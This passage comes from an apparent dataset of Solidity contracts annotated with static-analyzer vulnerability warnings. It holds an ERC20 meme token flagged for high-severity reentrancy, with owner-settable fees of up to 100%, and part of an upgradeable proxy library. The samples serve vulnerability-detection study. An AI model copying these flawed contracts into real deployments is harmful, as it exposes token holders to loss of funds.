owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract ETSY is ERC20, Ownable {\n using SafeMath for uint256;\n\n IDexRouter private immutable dexRouter;\n\n address private immutable dexPair;\n\n bool private swapping;\n\n bool private swapbackEnabled = false;\n\n uint256 private swapBackValueMin;\n\n uint256 private swapBackValueMax;\n\n uint256 private lastContractSell;\n\n bool private limitsEnabled = true;\n\n uint256 private maxWallet;\n\n uint256 private maxTx;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool private tradingEnabled = false;\n\n address private marketingWallet;\n\n uint256 private buyTaxTotal;\n\n uint256 private sellTaxTotal;\n\n uint256 private transferTaxTotal;\n\n mapping(address => bool) private transferTaxExempt;\n\n mapping(address => bool) private transferLimitExempt;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event ExcludeFromLimits(address indexed account, bool isExcluded);\n\n event SetPairLPool(address indexed pair, bool indexed value);\n\n event TradingEnabled(uint256 indexed timestamp);\n\n event LimitsRemoved(uint256 indexed timestamp);\n\n event DisabledTransferDelay(uint256 indexed timestamp);\n\n event SwapbackSettingsUpdated(\n bool enabled,\n uint256 swapBackValueMin,\n uint256 swapBackValueMax\n );\n\n event MaxTxUpdated(uint256 maxTx);\n\n event MaxWalletUpdated(uint256 maxWallet);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event BuyFeeUpdated(\n uint256 buyTaxTotal,\n uint256 buyMarketingTax,\n uint256 buyProjectTax\n );\n\n event SellFeeUpdated(\n uint256 sellTaxTotal,\n uint256 sellMarketingTax,\n uint256 sellProjectTax\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 99e4227): ETSY.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 99e4227: Rename the local variables that shadow another component.\n constructor() ERC20(\"First Doge in Mars\", \"ETSY\") {\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n setNewStatusLimitExempt(address(_dexRouter), true);\n\n dexRouter = _dexRouter;\n\n dexPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n setNewStatusLimitExempt(address(dexPair), true);\n\n _setPairLPool(address(dexPair), true);\n\n uint256 _totalSupply = 1_000_000_000 * 10 ** decimals();\n\n lastContractSell = block.timestamp;\n\n maxTx = (_totalSupply * 10) / 1000;\n\n maxWallet = (_totalSupply * 10) / 1000;\n\n swapBackValueMin = (_totalSupply * 1) / 1000;\n\n swapBackValueMax = (_totalSupply * 2) / 100;\n\n buyTaxTotal = 30;\n\n sellTaxTotal = 30;\n\n transferTaxTotal = 0;\n\n marketingWallet = address(0x56EC3bA249319f5B69eD54aD6728216Afa9ced30);\n\n setNewStatusFeeExempt(msg.sender, true);\n\n setNewStatusFeeExempt(address(this), true);\n\n setNewStatusFeeExempt(address(0xdead), true);\n\n setNewStatusFeeExempt(marketingWallet, true);\n\n setNewStatusLimitExempt(msg.sender, true);\n\n setNewStatusLimitExempt(address(this), true);\n\n setNewStatusLimitExempt(address(0xdead), true);\n\n setNewStatusLimitExempt(marketingWallet, true);\n\n transferOwnership(msg.sender);\n\n _mint(msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingEnabled = true;\n\n swapbackEnabled = true;\n\n emit TradingEnabled(block.timestamp);\n }\n\n function removeLimitsNow() external onlyOwner {\n limitsEnabled = false;\n\n transferTaxTotal = 0;\n\n emit LimitsRemoved(block.timestamp);\n }\n\n function setNewSwapbackValues(\n bool _caSBcEnabled,\n uint256 _caSBcTrigger,\n uint256 _caSBcLimit\n ) external onlyOwner {\n require(\n _caSBcTrigger >= 1,\n \"Swap amount cannot be lower than 0.01% total supply.\"\n );\n\n require(\n _caSBcLimit >= _caSBcTrigger,\n \"maximum amount cant be higher than minimum\"\n );\n\n swapbackEnabled = _caSBcEnabled;\n\n swapBackValueMin = (totalSupply() * _caSBcTrigger) / 10000;\n\n swapBackValueMax = (totalSupply() * _caSBcLimit) / 10000;\n\n emit SwapbackSettingsUpdated(_caSBcEnabled, _caSBcTrigger, _caSBcLimit);\n }\n\n function setNewMaxTxLimit(uint256 _maxTx) external onlyOwner {\n require(_maxTx >= 2, \"Cannot set maxTx lower than 0.2%\");\n\n maxTx = (_maxTx * totalSupply()) / 1000;\n\n emit MaxTxUpdated(maxTx);\n }\n\n function setNewMaxWalletLimit(uint256 _maxWallet) external onlyOwner {\n require(_maxWallet >= 5, \"Cannot set maxWallet lower than 0.5%\");\n\n maxWallet = (_maxWallet * totalSupply()) / 1000;\n\n emit MaxWalletUpdated(maxWallet);\n }\n\n function setNewStatusLimitExempt(\n address _add,\n bool _excluded\n ) public onlyOwner {\n transferLimitExempt[_add] = _excluded;\n\n emit ExcludeFromLimits(_add, _excluded);\n }\n\n function setNewBuyFee(uint256 _value) external onlyOwner {\n buyTaxTotal = _value;\n\n require(buyTaxTotal <= 100, \"Total buy fee cannot be higher than 100%\");\n\n emit BuyFeeUpdated(buyTaxTotal, buyTaxTotal, buyTaxTotal);\n }\n\n function setNewSellFee(uint256 _value) external onlyOwner {\n sellTaxTotal = _value;\n\n require(\n sellTaxTotal <= 100,\n \"Total sell fee cannot be higher than 100%\"\n );\n\n emit SellFeeUpdated(sellTaxTotal, sellTaxTotal, sellTaxTotal);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3e9ebe3): ETSY.setNewTransferFee(uint256) should emit an event for transferTaxTotal = _value \n\t// Recommendation for 3e9ebe3: Emit an event for critical parameter changes.\n function setNewTransferFee(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: 3e9ebe3\n transferTaxTotal = _value;\n\n require(\n transferTaxTotal <= 100,\n \"Total transfer fee cannot be higher than 100%\"\n );\n }\n\n function setNewStatusFeeExempt(\n address _add,\n bool _excluded\n ) public onlyOwner {\n transferTaxExempt[_add] = _excluded;\n\n emit ExcludeFromFees(_add, _excluded);\n }\n\n function _setPairLPool(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetPairLPool(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7c35cbd): ETSY.setNewMarketingWallet(address)._marketing lacks a zerocheck on \t marketingWallet = _marketing\n\t// Recommendation for 7c35cbd: Check that the address is not zero.\n function setNewMarketingWallet(address _marketing) external onlyOwner {\n emit MarketingWalletUpdated(_marketing, marketingWallet);\n\n\t\t// missing-zero-check | ID: 7c35cbd\n marketingWallet = _marketing;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: d7c6695): ETSY.anti should be constant \n\t// Recommendation for d7c6695: Add the 'constant' attribute to state variables that never change.\n bool anti = true;\n\n function readInfoSwapback()\n external\n view\n returns (\n bool _swapbackEnabled,\n uint256 _caSBcackValueMin,\n uint256 _caSBcackValueMax\n )\n {\n _swapbackEnabled = swapbackEnabled;\n\n _caSBcackValueMin = swapBackValueMin;\n\n _caSBcackValueMax = swapBackValueMax;\n }\n\n function readInfoLimits()\n external\n view\n returns (bool _limitsEnabled, uint256 _maxWallet, uint256 _maxTx)\n {\n _limitsEnabled = limitsEnabled;\n\n _maxWallet = maxWallet;\n\n _maxTx = maxTx;\n }\n\n function readInfoReceiver()\n external\n view\n returns (address _marketingWallet)\n {\n return (marketingWallet);\n }\n\n function readInfoTaxes()\n external\n view\n returns (\n uint256 _buyTaxTotal,\n uint256 _sellTaxTotal,\n uint256 _transferTaxTotal\n )\n {\n _buyTaxTotal = buyTaxTotal;\n\n _sellTaxTotal = sellTaxTotal;\n\n _transferTaxTotal = transferTaxTotal;\n }\n\n function readInfoAddress(\n address _target\n )\n external\n view\n returns (\n bool _transferTaxExempt,\n bool _transferLimitExempt,\n bool _automatedMarketMakerPairs\n )\n {\n _transferTaxExempt = transferTaxExempt[_target];\n\n _transferLimitExempt = transferLimitExempt[_target];\n\n _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8a2fc4f): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 8a2fc4f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 494065a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 494065a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1834373): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1834373: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsEnabled) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingEnabled) {\n require(\n transferTaxExempt[from] || transferTaxExempt[to],\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] && !transferLimitExempt[to]\n ) {\n require(\n amount <= maxTx,\n \"Buy transfer amount exceeds the maxTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !transferLimitExempt[from]\n ) {\n require(\n amount <= maxTx,\n \"Sell transfer amount exceeds the maxTx.\"\n );\n } else if (!transferLimitExempt[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapBackValueMin;\n\n if (\n\t\t\t// timestamp | ID: 8a2fc4f\n canSwap &&\n swapbackEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !transferTaxExempt[from] &&\n !transferTaxExempt[to] &&\n lastContractSell != block.timestamp\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 494065a\n\t\t\t// reentrancy-eth | ID: 1834373\n swapBack(amount);\n\n\t\t\t// reentrancy-eth | ID: 1834373\n lastContractSell = block.timestamp;\n\n\t\t\t// reentrancy-eth | ID: 1834373\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (transferTaxExempt[from] || transferTaxExempt[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {\n fees = amount.mul(sellTaxTotal).div(100);\n } else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {\n fees = amount.mul(buyTaxTotal).div(100);\n } else if (\n transferTaxTotal > 0 &&\n !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to]\n ) {\n fees = amount.mul(transferTaxTotal).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 494065a\n\t\t\t\t// reentrancy-eth | ID: 1834373\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 494065a\n\t\t// reentrancy-eth | ID: 1834373\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 494065a\n\t\t// reentrancy-eth | ID: 1834373\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function swapBack(uint256 amount) private {\n uint256 contractBalance = balanceOf(address(this));\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapBackValueMax) {\n contractBalance = swapBackValueMax;\n }\n\n if (anti && contractBalance > amount * 10) {\n contractBalance = amount * 10;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n swapTokensForEth(amountToSwapForETH);\n\n\t\t// reentrancy-events | ID: 494065a\n\t\t// reentrancy-eth | ID: 1834373\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}\n",
"file_name": "solidity_code_10831.sol",
"size_bytes": 27049,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary AddressUpgradeable {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!AddressUpgradeable.isContract(address(this)) &&\n _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {}\n\n function __Context_init_unchained() internal onlyInitializing {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n uint256[49] private __gap;\n}\n\ninterface IERC165Upgradeable {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721Upgradeable is IERC165Upgradeable {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}\n\ninterface IERC4906Upgradeable is IERC165Upgradeable, IERC721Upgradeable {\n event MetadataUpdate(uint256 _tokenId);\n\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n}\n\ninterface IERC1822ProxiableUpgradeable {\n function proxiableUUID() external view returns (bytes32);\n}\n\ninterface IERC1967Upgradeable {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n}\n\ninterface IBeaconUpgradeable {\n function implementation() external view returns (address);\n}\n\nlibrary StorageSlotUpgradeable {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\nabstract contract ERC1967UpgradeUpgradeable is\n Initializable,\n IERC1967Upgradeable\n{\n function __ERC1967Upgrade_init() internal onlyInitializing {}\n\n function __ERC1967Upgrade_init_unchained() internal onlyInitializing {}\n\n bytes32 private constant _ROLLBACK_SLOT =\n 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function _getImplementation() internal view returns (address) {\n return\n StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n require(\n AddressUpgradeable.isContract(newImplementation),\n \"ERC1967: new implementation is not a contract\"\n );\n\n StorageSlotUpgradeable\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n\n emit Upgraded(newImplementation);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 55b2b02): ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 55b2b02: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCall(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n _upgradeTo(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 55b2b02\n AddressUpgradeable.functionDelegateCall(newImplementation, data);\n }\n }\n\n function _upgradeToAndCallUUPS(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try\n IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID()\n returns (bytes32 slot) {\n require(\n slot == _IMPLEMENTATION_SLOT,\n \"ERC1967Upgrade: unsupported proxiableUUID\"\n );\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n bytes32 internal constant _ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function _getAdmin() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n require(\n newAdmin != address(0),\n \"ERC1967: new admin is the zero address\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant _BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function _getBeacon() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n require(\n AddressUpgradeable.isContract(newBeacon),\n \"ERC1967: new beacon is not a contract\"\n );\n\n require(\n AddressUpgradeable.isContract(\n IBeaconUpgradeable(newBeacon).implementation()\n ),\n \"ERC1967: beacon implementation is not a contract\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8cecb4c): ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(),data)\n\t// Recommendation for 8cecb4c: Ensure that all the return values of the function calls are used.\n function _upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data,\n bool forceCall\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 8cecb4c\n AddressUpgradeable.functionDelegateCall(\n IBeaconUpgradeable(newBeacon).implementation(),\n data\n );\n }\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract UUPSUpgradeable is\n Initializable,\n IERC1822ProxiableUpgradeable,\n ERC1967UpgradeUpgradeable\n{\n function __UUPSUpgradeable_init() internal onlyInitializing {}\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {}\n\n address private immutable __self = address(this);\n\n modifier onlyProxy() {\n require(\n address(this) != __self,\n \"Function must be called through delegatecall\"\n );\n\n require(\n _getImplementation() == __self,\n \"Function must be called through active proxy\"\n );\n\n _;\n }\n\n modifier notDelegated() {\n require(\n address(this) == __self,\n \"UUPSUpgradeable: must not be called through delegatecall\"\n );\n\n _;\n }\n\n function proxiableUUID()\n external\n view\n virtual\n override\n notDelegated\n returns (bytes32)\n {\n return _IMPLEMENTATION_SLOT;\n }\n\n function upgradeTo(address newImplementation) public virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, data, true);\n }\n\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n uint256[50] private __gap;\n}\n\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\ninterface IERC721ReceiverUpgradeable {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {}\n\n 